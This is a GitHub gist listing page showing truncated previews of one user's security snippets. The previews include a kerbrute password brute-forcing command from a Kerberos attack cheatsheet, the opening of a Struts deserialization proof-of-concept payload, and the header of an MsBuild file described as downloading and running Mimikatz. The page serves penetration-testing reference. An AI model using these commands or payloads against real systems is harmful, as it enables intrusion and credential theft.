Skip to content

Instantly share code, notes, and snippets.

@0xshyam
0xshyam / MS-AZ-104-LabTasks.md
Created August 15, 2020 05:22
Trackable list of AZ-104 Lab tasks from MS Learning AZ-104 Course.
@0xshyam
0xshyam / MS-AZ-104-LabTasks.md
Last active June 3, 2022 06:20
Trackable list of AZ-104 Lab tasks from MS Learning AZ-104 Course.
@0xshyam
0xshyam / kerberos_attacks_cheatsheet.md
Created July 20, 2020 02:30 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

#a=1.444667861
#a=1.444667861009 --> Memory Exhausted
#a=1.444667861010 --> Exception
a=1.1
b=a
i=0
while True:
i=i+1
#try:
a=b**a
@0xshyam
0xshyam / metasploit_exploits_by_rport.txt
Created May 31, 2018 23:37
Find metasploit exploits by their default RPORT port
exploit/osx/mdns/upnp_location: RPORT 0
exploit/windows/dcerpc/ms07_029_msdns_zonename: RPORT 0
exploit/windows/scada/igss9_misc: RPORT 0
exploit/windows/firewall/blackice_pam_icq: RPORT 1
exploit/windows/http/altn_webadmin: RPORT 1000
exploit/unix/webapp/webmin_show_cgi_exec: RPORT 10000
exploit/windows/backupexec/remote_agent: RPORT 10000
exploit/windows/oracle/osb_ndmp_auth: RPORT 10000
exploit/multi/misc/zend_java_bridge: RPORT 10001
exploit/windows/misc/gimp_script_fu: RPORT 10008
# useful for running ssl server on localhost
# which in turn is useful for working with WebSocket Secure (wss)
# copied from http://www.piware.de/2011/01/creating-an-https-server-in-python/
@0xshyam
0xshyam / payload.xml
Created September 6, 2017 11:00 — forked from anonymous/payload.xml
PoC payload for lolstruts lolREST lolXML loldeserialization lolvulnerability [6th Sept 2017, as there'll be another tomorrow probably ffs]
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
@0xshyam
0xshyam / findelevate.py
Created August 12, 2017 05:10 — forked from riyazwalikar/findelevate.py
Python script to find all Windows binaries with autoElevate=True (uses sigcheck obviously)
# Usage: findelevate.py C:\Windows\System32\
# Needs sigcheck.exe in path [https://technet.microsoft.com/en-us/sysinternals/bb897441.aspx]
import sys
import os
import glob
import subprocess
if len(sys.argv) < 2:
print "Usage: findelevate.py <PATH>"
@0xshyam
0xshyam / katz.xml
Created July 30, 2017 17:12
Downloads Mimikatz From GitHub, Executes Inside of MsBuild.exe
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe katz.xml -->
<Target Name="Hello">
<SharpLauncher >
</SharpLauncher>
</Target>
<UsingTask
TaskName="SharpLauncher"
TaskFactory="CodeTaskFactory"
@0xshyam
0xshyam / Disable mstsc NLA (client)
Created July 23, 2016 13:03 — forked from pingec/Disable mstsc NLA (client)
Disable NLA on remote desktop (mstsc) client (fixing password expired problem)
Sometimes you try to open a remote desktop connection to a machine only to get an error message that "the password has expired".
If the remote machine does not enforce NLA (Network Level Authentication), it is still possible to start a remote desktop session by disabling NLA on the client (currenlty not possible from the menu on my remote desktop client v.6.3.96000 that came with windows 8.1).
Add the following setting to your .rdp file ("C:\Users\<User>\Documents\Default.rdp" if you aren't using a specific one).
enablecredsspsupport:i:0